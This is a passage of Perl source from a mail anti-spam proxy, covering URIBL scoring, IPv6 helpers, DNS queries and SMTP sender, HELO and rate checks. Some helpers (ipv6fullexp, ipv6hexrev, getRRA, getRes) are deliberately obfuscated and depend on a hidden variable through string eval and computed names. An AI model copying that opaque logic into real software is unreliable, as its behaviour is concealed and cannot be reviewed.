            timeout     => $URIBLsocktime
          );
      };


        # add exception check
    if ($@ or ! ref($urinew)) {
        &sigon(__LINE__);
        mlog($fh,"URIBL: error - $@" . ref($urinew) ? '' : " - $urinew");
        return 1;
    };
    &sigon(__LINE__);

    $received_uribl = $uribl_result = $lookup_return = @listed_by = $listed_domain = $uribls_returned = undef;

	my $listed;
    for my $domain (sort keys %domains ) {
        next if !$domain;
 
		my $isobfuscated = ($domains{ $domain } > 1000000) ? 2 : 1;
        $mycache = 0;
        my %cachedRes = ();
        my $uriweight = 0;


        
		$listed_domain   = $domain;

		if ( URIBLCacheFind($domain) == 2  ) {
			mlog($fh,"URIBLCache: $domain OK") if $URIBLLog > 2;
			next;
		}
        if ( URIBLCacheFind($domain) == 1 ) {

            
            my ( $ct, $status, @listed_by ) = split(/\s+/o, $URIBLCache{$domain} );

            $mycache   = 1;
            $results_uribl .= ";" if $results_uribl;

            $results_uribl .= "'$domain'(@listed_by)";
#        	$results_uribl .= "@listed_by";
            
            $lcnt = 0;
 
         	$uriweight = 0;
 
         	foreach my $en (@listed_by) {
         		my ($dom,$res) = split(/\<\-/o,$en);
         		$dom =~ s/$domain\.(.*)/$1/g;
         		my $w;


 				$lcnt++;
 				if ($res =~ /(127\.\d+\.\d+\.\d+)/o) {
 					$w = matchHashKey($URIBLweight{$dom},$res) if 		$URIBLweight{$dom};
 					$uriweight += weightURI($w);
 			 	} else {
                	$uriweight += weightURI($URIBLweight{$dom}{'*'}) if $URIBLweight{$dom}{'*'};
            	}
            	

            	
         	}

#			last
        } else {
			$received_uribl="";
            $lookup_return   = eval{$urinew->lookup( $domain, "URIBL" );};
            @listed_by       = eval{$urinew->listed_by();};
            
            foreach (@listed_by) {
                    	$received_uribl .= "$_" .'<-'  . $urinew->{results}->{$_} . ' ';
                		}
            
            mlog($fh,"URIBL: lookup returned <$lookup_return> for $domain - res: @listed_by") if ($URIBLLog == 3 or ($URIBLLog >= 2 && $lookup_return ne 1));

			$results_uribl .= ";" if $results_uribl && $received_uribl;
			$received_uribl =~ s/\Q$domain\E\.//g;
			$results_uribl .= "'$domain'($received_uribl)" if $received_uribl;
			$this->{uri_listed_by} = $received_uribl if  ! $fh;

        
         	$lcnt = 0;
  
         	$uriweight = 0;
 
			foreach my $en (split(/\s+/o,$received_uribl)) {
         		my ($dom,$res) = split(/\<\-/o,$en);

         		my $w;
         		$dom =~ s/$domain\.(.*)/$1/g;

 				$lcnt++;
 				if ($res =~ /(127\.\d+\.\d+\.\d+)/o) {
 					$w = matchHashKey($URIBLweight{$dom},$res) if 		$URIBLweight{$dom};
 					$uriweight += weightURI($w);
 			 	} else {
                	$uriweight += weightURI($URIBLweight{$dom}{'*'}) if $URIBLweight{$dom}{'*'};
            	}

            	
         	}

        
        	URIBLCacheAdd( $domain, "2" ) if $lcnt == 0 ;
        	next if $lcnt == 0;
        	URIBLCacheAdd( $domain, "1", $received_uribl ) ;
        }
        
        $uribls_returned += $lcnt;
        $weightsum += $uriweight;

    last if $fh && ( (!$URIBLmaxweight && $uribls_returned >= $URIBLmaxhits)
               or ($URIBLmaxweight && $weightsum >= $URIBLmaxweight));
        
    }
    
	$weightsum = ${'uriblnValencePB'}[0] if !$weightsum;
	$weightsum = ${'uriblnValencePB'}[0] if $uribls_returned && !$URIBLhasweights;
	$weightsum = ${'uriblValencePB'}[0] if $uribls_returned >= $URIBLmaxhits && !$URIBLhasweights;
    $weightsum = $URIBLmaxweight if $URIBLmaxweight && $weightsum > $URIBLmaxweight;
    my $textcache = $mycache ? 'URIBLcache' : 'URIBL' ;
	$listed = "$results_uribl" ;

	$listed =~ s/\s+$//o;
    $listed =~ s/^\s+//o;
#    $listed =~ s/$listed_domain\.//g;
	$listed =~ s/<-127\.\d+\.\d+\.\d+//go if $URIBLLog < 2;
#	$listed =~ s/\s/,/o;
 
    
    return 1 if $uribls_returned <= 0;

            
 	if ( (!$URIBLmaxweight && $uribls_returned >= $URIBLmaxhits) or ($URIBLmaxweight && $weightsum >= $URIBLmaxweight) ) {

    	$this->{messagereason} = "$textcache failed: $listed";
    	$this->{newsletterre} = "";
    	$this->{uriblfail} =1;
        return 0 if !$fh;

    } else {

                $this->{messagereason} = "$textcache neutral: $listed";
                $tlit = "[scoring:$weightsum]" if $mValidateURIBL != 2;

                mlog( $fh, "$tlit -- $this->{messagereason}" )
                  if ( $URIBLLog && $mValidateURIBL != 2 ) && $fh;
                pbWhiteDelete( $fh, $thisip ) if $fh;
                $this->{uriblneutral}       = 1;
                $this->{newsletterre} = '';
                return 1 if $ValidateURIBL == 2 && $fh;

                pbAdd( $fh, $thisip, $weightsum, "URIBLneutral" ) if $fh;
                $this->{myheader} .= "X-Assp-URIBL: neutral, '$listed_domain' listed in $listed\r\n" if $AddURIBLHeader && $fh;
                return 1;

    }


    if (  $weightsum >= $URIBLmaxweight ) {
    	$tlit = "[scoring:$weightsum]" if $mValidateURIBL == 3;
    	mlog( $fh, "$tlit -- $this->{messagereason}" )
      		if ( $URIBLLog && $mValidateURIBL == 3 ) && $fh;
		return 1 if $ValidateURIBL == 2 && $fh;
        pbWhiteDelete( $fh, $this->{ip} ) if $fh;
        $this->{newsletterre} = '';
        pbAdd( $fh, $thisip, $weightsum, "URIBLfailed" ) if $fh;
        $this->{myheader} .= "X-Assp-URIBL: fail, '$listed_domain' listed in $listed\r\n" if $AddURIBLHeader && $fh && $this->{myheader} !~ /URIBL/;
        return 1 if $ValidateURIBL == 3;
        my $reply = $SpamError;
		$reply =~ s/REASON/URIBL Listed in $listed/go;                
        $reply = replaceerror ($fh, $reply);


        if ($fh && ! $slok) {$Stats{uriblfails}++;}
        $this->{test} = "uriblTestMode";
        $this->{newsletterre}		= '';

        thisIsSpam($fh,$this->{messagereason}, $URIBLFailLog,$err, 	 	$uriblTestMode, $slok  ,$done) if $fh;
        return 0;
    }
    return 1;
    
}


sub ipNetwork {
    my ($ip,$netblock)=@_;
    if ($ip =~ /:[^:]*:/o) {
        return ipv6expand($ip) if (!$netblock);
        $netblock = 64 if $netblock == 1;
        return join ':', map{my $t = sprintf("%x", oct("0b$_"));$t;} unpack 'a16' x 8, ipv6binary($ip,$netblock) . '0' x (128 - $netblock);
    } else {
        return $ip if (!$netblock);
        $netblock = 24 if $netblock == 1;
        my $u32 = unpack 'N', pack 'CCCC', split /\./o, $ip;
        my $mask = unpack 'N', pack 'B*', '1' x $netblock . '0' x (32 - $netblock );
        return join '.', unpack 'CCCC', pack 'N', $u32 & $mask;
    }
}

# retriev the trailing IPv4 address from a tunneled IPv6address
sub ipv6TOipv4 {
    my $ip = shift;
    $ip =~ s/^.*?($IPv4Re)$/$1/o;
    return $ip;
}

# converts IPv4 112.23.45.16 to 7017:2d10
sub ipv4TOipv6 {
    my $ip = shift;
    $ip =~ s/0?x?([A-F][A-F0-9]?|[A-F0-9]?[A-F])/hex($1)/goie;
   
    my ($h1,$h2,$h3,$h4) = split(/\./o,$ip);
    return sprintf("%x",256 * $h1 + $h2).':'.sprintf("%x",256 * $h3 + $h4);
}

# convert IPv6 2001:123:456::1 to 2001:123:456:0:0:0:0:1
# and convert trailing IPv4 to two IPv6 words
sub ipv6expand {
    my $ip = shift;
    return $ip if ($ip !~ /:/o);
    $ip =~ s/($IPv4Re)$/ipv4TOipv6($1)/eo;
    return $ip if ($ip !~ /::/o);
    my $col = $ip =~ tr/://;
    $col = 8 if $col > 8;
    $ip =~ s/^(.*)::(.*)$/($1||'0').':'.('0:'x(8-$col)).($2||'0')/oe;
    return $ip;
}

# convert IPv6 address to binary string
sub ipv6binary {
    my ($ip, $bits) = @_;
    return pack("a$bits", unpack 'B128', pack 'n8', map{my $t = hex($_);$t;} split(/:/o, ipv6expand($ip)));
}

# convert IPv6 2001:123:456::1 to 2001:0123:0456:0000:0000:0000:0000:0001
sub ipv6fullexp {
    return sprintf('%04s:'x(unpack("A1",${'X'})+5).'%04s',split(/:/o,ipv6expand(shift)));
}

# convert IPv6 to lower case reverse doted digits for RBL / RWL checks
# 2001:DB8:abc:123::42 to
# 2.4.0.0.0.0.0.0.0.0.0.0.0.0.0.0.3.2.1.0.c.b.a.0.8.b.d.0.1.0.0.2
sub ipv6hexrev {
    local $_ = ipv6fullexp(shift);
    return join('.',split(//o, reverse $_)) unless(s z:zzg-((ord(":")*4+34)%($_[0]+1)));
    undef;
}

sub formatTimeInterval {
  my $interval=shift;
  my $res;
  $res.=$_.'d ' if local $_=int($interval/(24*3600)); $interval%=(24*3600);
  $res.=$_.'h ' if $_=int($interval/3600); $interval%=3600;
  $res.=$_.'m ' if $_=int($interval/60); $interval%=60;
  $res.=$interval.'s ' if ($interval || !defined $res);
  $res=~s/\s$//o;
  return $res;
}

sub getRRA {
    my $dom = shift;
    my @IP;
    my $type = 'A';
    eval {
        if (defined(${chr(ord($type)+23)}) && (my $res = queryDNS($dom ,$type))) {
            my @answer = map{$_->string} $res->answer;
            while (@answer) {
                push @IP, Net::DNS::RR->new(shift @answer)->rdatastr;
            }
        }
    };
    return @IP;
}
sub getRRData {
    my ($dom, $type) = @_;
    return getRRA($dom) if $type eq 'A';
    my $answer;
    my $RR;
    my $gotname;
    my $gottype;
    my $gotdata;
    eval {
      my $res = queryDNS($dom,$type);
      if ($res) {
          $answer = ($type ne 'PTR') ? join('', map{$_->string} $res->answer)
                                     : [$res->answer->string]->[0];
          $RR = Net::DNS::RR->new($answer);
          $gotname = $RR->name;
          $gottype = $RR->type;
          $gotdata = $RR->rdatastr;
      }
    };
    return if $@;
    return if $gotname ne $dom && $type ne 'PTR';
    return if $gottype ne $type;
    return unless $gotdata;
    return $gotdata;
}

sub queryDNS {
	my ($domain, $type) = @_;

    my $rslv = Net::DNS::Resolver->new(
        nameservers => \@nameservers,
        tcp_timeout => $DNStimeout,
        udp_timeout => $DNStimeout,
        retrans     => $DNSretrans,
        retry       => $DNSretry
    ) or return;
    getRes('force', $rslv);

	my $resp;
	eval
	{
            # set a timeout
            local $SIG{ALRM} = sub { die "DNS query timeout for $domain\n" };
            alarm $DNStimeout + 2;
            eval {$resp = $rslv->query($domain, $type);};
            my $E = $@;
            alarm 0;
            die $E if $E;
	};
	my $E = $@;
	alarm 0;
	return if $E;
	return $resp;
}
sub getRes {
    my $run = shift;
    eval(<<'EOT');
    $run.='_v'.(unpack("A1",${'X'})+2);
    return $_[0]->$run(! $CanUseIOSocketINET6 || $forceDNSv4);
EOT
}


sub suspiciousHeloOK {
    my ( $fh) = @_;
    my $this = $Con{$fh};
    return 1 if $this->{addressedToSpamBucket};
	return 1 if $this->{suspiciousHeloOK};
	$this->{suspiciousHeloOK}=1;
    my $ip = $this->{ip};
    my $helo = $this->{helo};
 	my $w;

    $ip = $this->{cip} if $this->{ispip} && $this->{cip};
    $helo = $this->{ciphelo} if $this->{ciphelo};
    d('suspiciousHeloOK');

	return 1 if $this->{nohelo};
    return 1 if !$DoSuspiciousHelo;
    return 1 if $this->{relayok};
    return 1 if $this->{acceptall};


    return 1 if $this->{ispip};
    return 1 if ( matchIP( $ip , 'noHelo', $fh ) );
  

    return 1 if $ip =~ /$IPprivate/;
    return 1 if $heloBlacklistIgnore && $helo =~ $HBIRE;
    return 1 if &Whitelist($this->{mailfrom});
    return 1 if $this->{noprocessing};
    return 1 if $noProcessing  && matchSL( $this->{mailfrom}, 'noProcessing' );

    my $ipinhelo = $helo =~ /\[?($IPRe)\]?/oi;
    return 1 if $helo eq $ipinhelo;
    return 1
      if $noProcessing
          && matchSL( $this->{mailfrom}, 'noProcessing' );

    my $mDoSuspiciousHelo = $DoSuspiciousHelo;
    my $tlit = tlit($mDoSuspiciousHelo);
    my $literal;
    $this->{prepend} = "[SuspiciousHelo]";
	if ( $SuspiciousHeloRe && $helo =~ $SuspiciousHeloReRE){
    	$this->{messagereason} = "Suspicious HELO: '$helo'";
		$w = &weightRe($shValencePB, 		'SuspiciousHeloRe',$1);
    	pbAdd($fh,$this->{ip},$w,"SuspiciousHeloRe") ;
    	$tlit= "[scoring:$w]" if $mDoSuspiciousHelo == 3;
    	mlog( $fh, "$tlit -- $this->{messagereason} -- $this->{logsubject}")
          if $ValidateHeloLog;

    }
    
    return 1;
}

sub ForgedHeloOK {
    my ( $fh, $rcpt ) = @_;
    my $this = $Con{$fh};
    my $ip = $this->{ip};
    my $helo = $this->{helo};


	
	return 1 if $this->{addressedToSpamBucket};


    return 1 if $ip =~ /$IPprivate/ && $ip ne "127.0.0.1";

    return 1 if !$DoFakedLocalHelo;
    return 1 if $this->{relayok};
    return 1 if $this->{acceptall};


    return 1 if $heloBlacklistIgnore && $helo =~ $HBIRE;

    my $mDoFakedLocalHelo = $DoFakedLocalHelo;
    my $tlit = tlit($DoFakedLocalHelo);

    ( my $literal ) =
      $helo =~ /\[?((?:\d{1,3}\.){3}\d{1,3})\]?/;    # domain literal
	

	
   	if (   ( $localDomains && $helo =~ /$LDRE/)
   		
       	|| ($localDomainsFile && $localDomainsFile{$helo})
    	|| ($DoLocalIMailDomains && &localIMaildomain($helo))


        || $helo eq "friend"
        || $helo eq "localhost"
        || $helo eq ""       
        || $myServerRe && $helo =~ /$LHNRE/
        || $literal && $literal =~ /$LHNRE/
        || $literal && lc($literal) eq lc($localhostip)) {


        $this->{prepend} = "[ForgedHELO]";

        $this->{messagereason} = "forged Helo: '$helo'";
        $tlit= "[scoring:$fhValencePB]" if $mDoFakedLocalHelo == 3;
        mlog( $fh, "$tlit -- $this->{messagereason}" )
          if $mDoFakedLocalHelo >= 2 && $ValidateHeloLog;
        delayWhiteExpire($fh);
        pbWhiteDelete( $fh, $this->{ip} );
        return 1 if $mDoFakedLocalHelo == 2;
     

        pbAdd( $fh, $ip, $fhValencePB, "ForgedHELO" );
        
        return 1 if $mDoFakedLocalHelo == 3;
		mlog( $fh, "[spam found] -- $this->{messagereason}" ) if  $ValidateHeloLog;
        return 0;
    }
    return 1;
}
# check spoofing
sub NoSpoofingOK {
    my ( $fh, $what ) = @_;
    my $this = $Con{$fh};
    d("NoSpoofingOK - $what");
    return 1 if $this->{NoSpoofingOK}{$what};
    $this->{NoSpoofingOK}{$what} = 1;
    return 1 if ! $DoNoSpoofing;
    return 1 if $this->{addressedToSpamBucket};
    return 1 if ! $this->{$what};
    return 1 if $this->{noprocessing};
    return 1 if $this->{relayok};
    return 1 if $this->{acceptall};

    return 1 if $noSpoofingCheckDomain
		&& matchSL( $this->{$what}, 'noSpoofingCheckDomain' );

    return 1 if ! localmail( $this->{$what} ) or $LDAPoffline;
    my $tlit = tlit($DoNoSpoofing);
    if ( ! matchIP( $this->{ip}, 'noSpoofingCheckIP', 0, 1 ) ) {
        my $toscore = 0;
        foreach (keys %{$this->{NoSpoofingOK}}) { $toscore += $this->{NoSpoofingOK}{$_}; }
        $this->{prepend}       = '[SpoofedSender]';
        $this->{messagereason} = "No Spoofing Allowed '$this->{$what}' in '$what'";
        $tlit = "[scoring:$flValencePB]" if $DoNoSpoofing == 3;
        mlog( $fh, "$tlit ($this->{messagereason})" )
               if $ValidateSenderLog && $DoNoSpoofing >= 2;

        return 1 if $DoNoSpoofing == 2 ;
        pbAdd( $fh, $this->{ip},$flValencePB, 'NoSpoofing' ) if $toscore < 10;
        $this->{NoSpoofingOK}{$what} = 10;
        return 1 if $DoNoSpoofing == 3 ;
        return 0;
    }
    return 1;
}

# do forged local sender
sub LocalSenderOK {
    my ( $fh, $ip ) = @_;

    my $this = $Con{$fh};
    return 1 if $this->{mailfrom} =~ /^(prvs=.*=)(.*)/o;
	return 1 if $this->{notspamtag};
    my $mf = &batv_remove_tag($fh,$this->{mailfrom},'');
    return 1 if !$DoNoValidLocalSender;    
    return 1 if !isflat ($fh,$this->{mailfrom}) && !$DoLDAP && !isvrfy ($fh,$this->{mailfrom}) ;
    d('LocalSenderOK');
	return 1 if $noSpoofingCheckDomain 
		&& matchSL( $mf, 'noSpoofingCheckDomain' );
	return 1 if $noSpoofingCheckIP
		&& matchIP( $ip, 'noSpoofingCheckIP', 0, 1 ) ;
    return 1 if $this->{addressedToSpamBucket};
    return 1 if $this->{localsenderdone};
    $this->{localsenderdone} = 1;
   
    return 1 if $this->{noprocessing};
    return 1 if $this->{passingreason} =~ /white/;
  
    return 1 if $this->{relayok};
    return 1 if $this->{acceptall};
    return 1 if $this->{ispip};
    return 1 if !localmail( $this->{mailfrom} );  
    return 1 if !$LocalAddresses_Flat && !$DoLDAP && !$DoVRFY;

    
    
    my $mDoNoValidLocalSender = $DoNoValidLocalSender;

    #enforce valid local mailfrom

    
    my $tlit = tlit($mDoNoValidLocalSender);
    $this->{prepend} = "[UnknownLocalAddress]";

    $this->{islocalmailaddress} = 0;

    if ( $LocalAddresses_Flat
        && matchSL( $mf, 'LocalAddresses_Flat' ) )
    {
        $this->{islocalmailaddress} = 1;
    } else {

      # Need another check?
      # check sender against LDAP or VRFY ?
      $this->{islocalmailaddress} = &localmailaddress($fh,$mf)
          if (($DoLDAP && $CanUseLDAP) or
              ($CanUseNetSMTP && $DoVRFY &&
               $mf =~ /^(.*@)(.*)$/o &&
               &matchHashKey('DomainVRFYMTA',lc $2) ));
    }
    if ( !$this->{islocalmailaddress} ) {
    	pbWhiteDelete( $fh, $this->{ip} );
        $this->{messagereason} = "Unknown address with local domain '$this->{mailfrom}'";
        mlog( $fh, "$tlit -- $this->{messagereason} -- $this->{logsubject}" )
          if $ValidateSenderLog && $mDoNoValidLocalSender >= 2;
        return 1 if $mDoNoValidLocalSender == 2;
        pbAdd( $fh, $this->{ip}, $flValencePB, "InvalidLocalSender");
        return 1 if $mDoNoValidLocalSender == 3;
        return 0;
    }
    return 1;
}

sub LocalAddressOK {
    my $fh = shift;

    my $this               = $Con{$fh};
    my $islocalmailaddress = 0;
    d('LocalAddressOK');

    my $mf = lc $this->{mailfrom};
    $mf = batv_remove_tag($fh,$this->{mailfrom},'');

    $this->{islocalmailaddress} = 0;

    if ( $this->{relayok} && $mf =~ $BSRE )
    {    # a bounce mail from a internal MTA
        $this->{islocalmailaddress} = 1;
        return 1;
    }

    if ( $LocalAddresses_Flat
        && matchSL( $this->{mailfrom}, 'LocalAddresses_Flat' ) )
    {
        $islocalmailaddress = 1;
    } else {

        # Need another check?

        # check sender against LDAP or VRFY?
        if ($DoLDAP) {
            if ($CanUseLDAP) {
                $islocalmailaddress = localmailaddress( $fh, $mf );
            }
        }

        if ( $DoVRFY &&  $CanUseNetSMTP
                && $mf =~ /^(.*@)(.*)$/
                && &matchHashKey('DomainVRFYMTA',lc $2)
                && $this->{userTempFail}
                )
            {
                return 1;
         	}

        if ( scalar( keys %DomainVRFYMTA )  && !$islocalmailaddress ) {
            if ( $DoVRFY &&  $CanUseNetSMTP
                && $mf =~ /^(.*@)(.*)$/
                && &matchHashKey('DomainVRFYMTA',lc $2)  )
            {
                $islocalmailaddress = localmailaddress( $fh, $mf );
            }
        }
    }
    if ( !$islocalmailaddress ) {
        return 0;
    }
    my $list = "Whitelist";
    if ( $list->{ lc $mf } ) {
            delete $list->{ lc $mf };
    }
    $this->{islocalmailaddress} = 1;
    return 1;
}



sub AUTHErrorsOK {
    my $fh = shift;
    return 1 unless $MaxAUTHErrors;
    my $this = $Con{$fh};
    return 1 if ($this->{relayok});
    return 1 if ($this->{whitelisted});
    return 1 if ($this->{noprocessing} == 1);
    return 1 if ($this->{ispip});
    return 1 if matchIP($this->{ispip},'noBlockingIPs',0,1);
    my $ip = $this->{ip};
    $ip = &ipNetwork( $ip, $PenaltyUseNetblocks);
    
    return 1 if $AUTHErrors{$ip}++ <= $MaxAUTHErrors;
    $this->{messagereason}="too much AUTH errors from $ip";
    pbAdd( $fh, $this->{ip}, 'autValencePB', "AUTHErrors" ) if ! matchIP($ip,'noPB',0,1);
    $AUTHErrors{$ip}++;
    return 0;
}
sub SameSubjectOK {
    my $fh = shift;
    d('SameSubjectOK');
    my $this = $Con{$fh};
 
    my $sub;

    return 1 if $this->{doneDoEqualSubject};
    $this->{doneDoEqualSubject} = 1;
    my $myip = $this->{ip};
    if ($this->{ispip} && $this->{cip}) {
        $myip = $this->{cip};
    } elsif ($this->{ispip}) {
        return 1;
    }
	&makeSubject($fh);
 	$sub = $Con{$fh}->{subject3};
 	return 1 if ! $sub;

    if (               !$this->{whitelisted}
                    && !$this->{noprocessing}
                    && !$this->{contentonly}
                    && !$this->{relayok}
                    && $DoSameSubject
                   
                    && ! matchIP( $myip, 'noPB',            0, 1 )
                    && ! matchIP( $myip, 'acceptAllMail',   0, 1 )
                    && ! matchIP( $myip, 'noBlockingIPs',   0, 1 )


       ) {
                $myip=&ipNetwork($myip, $DelayUseNetblocks );
                $myip .= '.' if $DelayUseNetblocks;
                if ((time() - $SameSubjectTriesExpiration{$sub}) > $maxSameSubjectExpiration) {
                    $SameSubjectTries{$sub} = 1;
                    $SameSubjectTriesExpiration{$sub} = time();

                } else {

                    $SameSubjectTriesExpiration{$sub} = time() if $SameSubjectTries{$sub}==1;
                    $SameSubjectTries{$sub}++;
                }
                my $tlit = &tlit($DoSameSubject);
                $tlit .= "[testmode]"   if ($allTestMode && $DoSameSubject) == 1 || $DoSameSubject == 4;
                my $mDoSameSubject = $DoSameSubject;
                $mDoSameSubject = 3 if ($allTestMode && $DoSameSubject == 1) || $DoSameSubject == 4;

                if ( $SameSubjectTries{$sub} > $maxSameSubject ) {
                    $this->{prepend} = "[SameSubject]";
                    $this->{messagereason} = "subject '$sub' surpassed limit maxSameSubject ($maxSameSubject)";
					pbWhiteDelete( $fh, $myip );
                    mlog( $fh, "$tlit $this->{messagereason}")
                      if ($SessionLog or $denySMTPLog) && $mDoSameSubject != 1 && $SameSubjectTries{$sub} == $maxSameSubject + 1;

					
                    pbAdd( $fh, $myip, $isValencePB, "LimitingSameSubject" ) if $mDoSameSubject != 2;
                    if ( $mDoSameSubject == 1 ) {
                        
                        return 0;

                    }
                }
    }
    return 1;
}


sub DomainIPOK {
    my $fh = shift;
    d('DomainIPOK');
    my $this = $Con{$fh};
    my $mfd;
    my $mfdd;
    return 1 if $this->{doneDoDomainIP};
    $this->{doneDoDomainIP} = 1;
    my $myip = $this->{ip};
    if ($this->{ispip} && $this->{cip}) {
        $myip = $this->{cip};
    } elsif ($this->{ispip}) {
        return 1;
    }

    if ($this->{mailfrom} =~ /(\@(.+))/o) {
        $mfdd = $1;
        $mfd  = $2;
    } else {
        return 1;
    }
    $this->{pbblack}   = 1 if pbBlackFind($myip);
    
                if (   $DoDomainIP
                && $this->{pbblack}
                && !$this->{pbwhite}
                && $maxSMTPdomainIP
                && $mfd
                && !$this->{nopb}
                && !$this->{whitelisted}
                && !$this->{rwlok}
                && $this->{noprocessing} ne '1'
                && !$this->{ispip}
                && !$this->{acceptall}
                && !$this->{nodelay}
                && !$this->{contentonly}
                && !$this->{noblockingips}

                && (!$maxSMTPdomainIPWL || ($maxSMTPdomainIPWL &&  $mfd!~/($IPDWLDRE)/))
               )
            {


                $myip=&ipNetwork($myip, $DelayUseNetblocks );
                $myip .= '.' if $DelayUseNetblocks;
                if ((time() - $SMTPdomainIPTriesExpiration{$mfd}) > $maxSMTPdomainIPExpiration) {
                    $SMTPdomainIPTries{$mfd} = 1;
                    $SMTPdomainIPTriesExpiration{$mfd} = time();
                    $myip =~ s/\./\\\./go;
                    $SMTPdomainIP{$mfd} = $myip;
                } elsif ($myip !~ /^$SMTPdomainIP{$mfd}/) {
                    $SMTPdomainIP{$mfd} .= '|' if $SMTPdomainIP{$mfd};
                    $myip =~ s/\./\\\./go;
                    $SMTPdomainIP{$mfd} .= $myip;
                    $SMTPdomainIPTriesExpiration{$mfd} = time() if $SMTPdomainIPTries{$mfd}==1;
                    $SMTPdomainIPTries{$mfd}++;
                }
                my $tlit = &tlit($DoDomainIP);
                $tlit = "[testmode]"   if $allTestMode && $DoDomainIP == 1 || $DoDomainIP == 4;
                my $mDoDomainIP = $DoDomainIP;
                $mDoDomainIP = 3 if $allTestMode && $DoDomainIP == 1 || $DoDomainIP == 4;

                if ( $SMTPdomainIPTries{$mfd} > $maxSMTPdomainIP ) {
                    $this->{prepend} = "[IPperDomain]";
                    $this->{messagereason} = "'$mfdd' passed limit($maxSMTPdomainIP) of ips per domain";

                    mlog( $fh, "$tlit $this->{messagereason}")
                      if $SessionLog && $SMTPdomainIPTries{$mfd} == $maxSMTPdomainIP + 1;
                    mlog( $fh,"$tlit $this->{messagereason}")
                      if $SessionLog >= 2 && $SMTPdomainIPTries{$mfd} > $maxSMTPdomainIP + 1;

                    pbAdd( $fh, $myip, 'idValencePB', "LimitingIPDomain" ) if $mDoDomainIP != 2;
                    if ( $mDoDomainIP == 1 ) {
                        $Stats{smtpConnDomainIP}++;
                        unless (($send250OKISP && $this->{ispip}) || $send250OK) {
                            seterror( $fh, "554 5.7.1 too many different IP's for domain '$mfdd'", 1 );
                            return 0;
                        }
                    }
                }
    }
    return 1;
}

sub FrequencyIPOK {
    my $fh = shift;
    d('FrequencyIPOK');
    my $this = $Con{$fh};
    my $ConIp550 = $this->{ip};
    if ($this->{ispip} && $this->{cip}) {
        $ConIp550 = $this->{cip};
    } elsif ($this->{ispip}) {
        return 1;
    }

    return 1 if $this->{doneDoFrequencyIP} eq $ConIp550;
    $this->{doneDoFrequencyIP} = $ConIp550;

    if (               !$this->{whitelisted}
                    && !$this->{noprocessing}
                    && !$this->{contentonly}
                    && $DoFrequencyIP
                    && $maxSMTPipConnects
                    && ! matchIP( $ConIp550, 'noPB',            0, 1 )
                    && ! matchIP( $ConIp550, 'noProcessingIPs', 0, 1 )
                    && ! matchIP( $ConIp550, 'whiteListedIPs',  0, 1 )
                    && ! matchIP( $ConIp550, 'noDelay',         0, 1 )
                    && ! matchIP( $ConIp550, 'acceptAllMail',   0, 1 )
                    && ! matchIP( $ConIp550, 'noBlockingIPs',   0, 1 )
                    &&   pbBlackFind($ConIp550)
                    && ! pbWhiteFind($ConIp550)
       )
            # ip connection limiting per timeframe
    {

       # If the IP address has tried to connect previously, check it's frequency
                if ( $IPNumTries{$ConIp550} ) {
                    $IPNumTries{$ConIp550}++;

              # If the last connect time is past expiration, reset the counters.
              # If it has not expired, but is outside of frequency duration and
              # below the maximum session limit, reset the counters. If it is
              # within duration
                    if (((time() - $IPNumTriesExpiration{$ConIp550}) > $maxSMTPipExpiration)  || ((time() - $IPNumTriesDuration{$ConIp550}) > $maxSMTPipDuration) && ($IPNumTries{$ConIp550} < $maxSMTPipConnects)) {
                        $IPNumTries{$ConIp550} = 1;
                        $IPNumTriesDuration{$ConIp550} = time();
                        $IPNumTriesExpiration{$ConIp550} = time();
                    }
                } else {
                    $IPNumTries{$ConIp550} = 1;
                    $IPNumTriesDuration{$ConIp550} = time();
                    $IPNumTriesExpiration{$ConIp550} = time();

                }
                my $tlit = &tlit($DoFrequencyIP);
                $tlit = "[testmode]"   if $allTestMode && $DoFrequencyIP == 1 || $DoFrequencyIP == 4;

                my $mDoFrequencyIP = $DoFrequencyIP;
                $mDoFrequencyIP = 3 if $allTestMode && $DoFrequencyIP == 1 || $DoFrequencyIP == 4;

                if ( $IPNumTries{$ConIp550} > $maxSMTPipConnects ) {
                    $this->{prepend} = "[IPfrequency]";
                     $this->{messagereason} = "'$ConIp550' passed limit($maxSMTPipConnects) of ip connection frequency";

                    mlog( $fh, "$tlit $this->{messagereason}")
                      if $SessionLog >= 2
                          && $IPNumTries{$ConIp550} > $maxSMTPipConnects + 1;
                    mlog( $fh,"$tlit $this->{messagereason}")
                      if $SessionLog
                          && $IPNumTries{$ConIp550} == $maxSMTPipConnects + 1;
                    pbAdd( $fh, $this->{ip}, 'ifValencePB', "IPfrequency" ) if $mDoFrequencyIP!=2;
                    if ( $mDoFrequencyIP == 1 ) {
                        $Stats{smtpConnLimitFreq}++;
                        unless (($send250OKISP && $this->{ispip}) || $send250OK) {
                            seterror( $fh, "554 5.7.1 too frequent connections for '$ConIp550'", 1 );
                            return 0;
                        }
                    }
                }
    }
    return 1;
}


# returns 0 on success - else next possible try time
sub localFrequencyNotOK {
    my $fh = shift;
    return 0 unless $LocalFrequencyInt;
    return 0 unless $LocalFrequencyNumRcpt;
    return localFrequencyNotOK_Run($fh);
}
sub localFrequencyNotOK_Run {
    my $fh = shift;
    my $this=$Con{$fh};
    d('localFrequencyNotOK');

    return 0 unless $this->{mailfrom};
    return 0 unless $this->{relayok};
    return 0 if $this->{noprocessing};
    my ($to) = $this->{rcpt} =~ /(\S+)/o;
    return 0 if matchSL( $to, 'EmailAdmins' );
    return 0 if lc($to) eq lc($EmailFrom);
    my $mf = batv_remove_tag(0,$this->{mailfrom},'');
    return 0 if matchSL( $mf, 'EmailAdmins' );
    return 0 if lc($mf) eq lc($EmailFrom);

    return 0 if ($LocalFrequencyOnly && ! &matchSL($mf,'LocalFrequencyOnly'));
    return 0 if ($NoLocalFrequency && &matchSL($mf,'NoLocalFrequency'));

    my $time = time;
    my $numrcpt;
    my $firsttime;
    my $data;

    my %F = split(/ /o,$localFrequencyCache{$mf});
    my $i;
    foreach (sort keys %F) {
        if ($_ + $LocalFrequencyInt  < $time) {
            delete $F{$_};
            next;
        } else {
            $numrcpt += $F{$_};
            $firsttime = $_ if $i < 1;
        }
        $i++;
    }
    foreach (sort keys %F) {
        $data .= "$_ $F{$_} ";
    }
    $firsttime = $time unless $firsttime;
    $localFrequencyCache{$mf} = $data . "$time $this->{numrcpt}";
    $numrcpt += $this->{numrcpt};
    return 0 if $numrcpt < $LocalFrequencyNumRcpt;
    return $firsttime + $LocalFrequencyInt;
}
sub NumRcptOK {
  my($fh,$block)=@_;
  my $this=$Con{$fh};
  
  my $mDoMaxDupRcpt = $DoMaxDupRcpt;
  $mDoMaxDupRcpt = 3 if !$block  && $mDoMaxDupRcpt == 1;
